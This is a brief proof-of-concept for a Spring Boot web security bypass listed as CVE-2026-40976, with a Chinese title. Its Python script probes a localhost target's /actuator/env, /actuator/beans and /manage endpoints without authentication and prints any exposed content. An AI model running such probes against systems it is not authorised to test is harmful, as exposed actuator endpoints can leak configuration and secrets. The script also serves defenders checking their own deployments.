CVE-2026-40976 Spring Boot默认Web安全绕过漏洞

import requests # PoC for CVE-2026-40976 # Checks if sensitive endpoints are accessible without authentication target = "http://127.0.0.1:8080" endpoints = ["/actuator/env", "/actuator/beans", "/manage"] for endpoint in endpoints: url = target + endpoint try: r = requests.get(url, timeout=5) if r.status_code == 200: print(f"[+] Potential Vulnerability found at {url}") print(f"[+] Content snippet: {r.text[:100]}") elif r.status_code == 401 or r.status_code == 403: print(f"[-] {url} is protected (Status: {r.status_code})") else: print(f"[?] {url} returned status {r.status_code}") except Exception as e: print(f"Error connecting to {url}: {e}")